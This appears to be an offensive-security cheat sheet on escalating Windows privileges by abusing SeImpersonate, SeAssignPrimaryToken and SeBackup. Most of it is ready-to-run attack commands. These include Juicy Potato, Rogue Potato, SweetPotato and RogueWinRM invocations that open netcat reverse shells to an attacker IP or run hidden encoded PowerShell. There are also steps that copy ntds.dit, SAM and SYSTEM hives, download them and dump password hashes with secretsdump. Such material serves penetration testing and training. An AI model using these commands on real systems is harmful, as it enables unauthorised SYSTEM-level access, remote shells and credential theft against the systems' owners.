Impersonation Privileges
Token impersonation is a technique through which a Windows local administrator could steal another user’s security token in order to impersonate and effectively execute commands as that user.
Full privileges cheatsheet at https://github.com/gtworek/Priv2Admin, summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files.
Privilege | Impact | Tool |
SeAssignPrimaryToken | Admin | 3rd party tool |
SeImpersonate | Admin | 3rd party tool |
SeBackupPrivilege | Admin | 3rd party tool |
SeBackup | Threat | Built-in commands |
SeCreateToken | Admin | 3rd party tool |
SeDebug | Admin | PowerShell |
SeLoadDriver | Admin | 3rd party tool |
SeRestore | Admin | PowerShell |
SeTakeOwnership | Admin | Built-in commands |
1. SeImpersonate or SeAssignPrimaryToken
If the machine is < Windows 10 1809 < Windows Server 2019 - Try Juicy Potato
If the machine is >= Windows 10 1809 & Windows Server 2019 - Try Rogue Potato
- SharpImpersonate
https://github.com/juliourena/SharpImpersonate/tree/master
- SweetPotato
SweetPotato.exe -p C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a "-w hidden -enc EncBase64"
- JuicyPotato
Binary available at : https://github.com/ohpe/juicy-potato/releases
Check the privileges of the service account, you should look for SeImpersonate and/or SeAssignPrimaryToken (Impersonate a client after authentication)
whoami /priv
Select a CLSID based on your Windows version, a CLSID is a globally unique identifier that identifies a COM class object
https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md
Execute JuicyPotato to run a privileged command.
Examples:
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c nc.exe <IP> <PORT> -e c:\windows\system32\cmd.exe" -t *
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c nc.exe <IP> <PORT> -e c:\windows\system32\cmd.exe" -t * -c <CLSID>
JuicyPotato.exe -l 9999 -p c:\interpub\wwwroot\upload\nc.exe -a "IP PORT -e cmd.exe" -t t -c {B91D5831-B1BD-4608-8198-D72E155020F7}
JuicyPotato.exe -l 1340 -p C:\users\User\rev.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}
JuicyPotato.exe -l 1337 -p c:\Windows\System32\cmd.exe -t * -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} -a "/c c:\users\User\reverse_shell.exe"
Testing {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} 1337
......
[+] authresult 0
{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
• Automated Juicy Potato --> Lovely Potato (https://github.com/TsukiCTF/Lovely-Potato) (Works only until Windows Server 2016 and Windows 10 until patch 1803)
- PrintSpoofer
Works only until Windows Server 2016 and Windows 10 until patch 1803.
Check
SeImpersonatePrivilege
- Rogue Potato (Fake OXID Resolver)
Binary available at https://github.com/antonioCoco/RoguePotato
Network redirector / port forwarder to run on your remote machine, must use port 135 as src port
sudo socat tcp-listen:135,reuseaddr,fork tcp:{Victim IP}:9999
RoguePotato all in one with RogueOxidResolver running locally on port 9999
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l 9999
RoguePotato.exe -r 10.10.10.10 -e "C:\PrivEsc\reverse.exe" -l 9999
RoguePotato without running RogueOxidResolver locally. You should run the
RogueOxidResolver.exe
on your remote machine.
Use this if you have fw restrictions.
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe"
RoguePotato all in one with RogueOxidResolver running locally on port 9999 and specific clsid and custom pipename
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l 9999 -c "{6d8ff8e1-730d-11d4-bf42-00b0d0118b56}" -p splintercode
- RogueWinRM
Binary available at https://github.com/antonioCoco/RogueWinRM
RogueWinRM is a local privilege escalation exploit that allows to escalate from a Service account (with SeImpersonatePrivilege) to Local System account if WinRM service is not running (default on Win10 but NOT on Windows Server 2019).
RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe {Our IP} {PORT}"
2. SeBackup
If a user has this privileges, it means he can Dump SAM (See Windows PostExp > Credential Theft)
We can also use: https://github.com/giuliano108/SeBackupPrivilege
upload SeBackupPrivilegeUtils.dll
upload SeBackupPrivilegeCmdLets.dll
Next, import the .dll files and invoke the Copy-FileSeBackupPrivilege cmdlet on ntds.dit and system .
import-module .\SeBackupPrivilegeCmdLets.dll
import-module .\SeBackupPrivilegeUtils.dll
Copy-FileSeBackupPrivilege h:\windows\ntds\ntds.dit c:\windows\temp\NTDS -Overwrite
Copy-FileSeBackupPrivilege h:\windows\system32\config\SYSTEM
c:\windows\temp\SYSTEM -Overwrite
Then Download the saved files (Example with evil-winrm)
download system
download ntds
Then run secretsdump, specifying the LOCAL parameter to extract the hashes from the NTDS.dit.
secretsdump.py -ntds ntds -system system LOCAL
If this isn't a domain controller, there would be no NTDS.dit file to get passwords from, so we
would need to download the SYSTEM, SAM and SECURITY files instead:
Copy-FileSeBackupPrivilege h:\windows\system32\config\SYSTEM
c:\windows\temp\SYSTEM -Overwrite
Copy-FileSeBackupPrivilege h:\windows\system32\config\SECURITY
c:\windows\temp\SECURITY -Overwrite
Copy-FileSeBackupPrivilege h:\windows\system32\config\SAM c:\windows\temp\SAM -Overwrite
From these files we can extract LSA secrets, the machine account and local user hashes using
secretsdump.
secretsdump.py -security security -sam sam -system system LOCAL
Last updated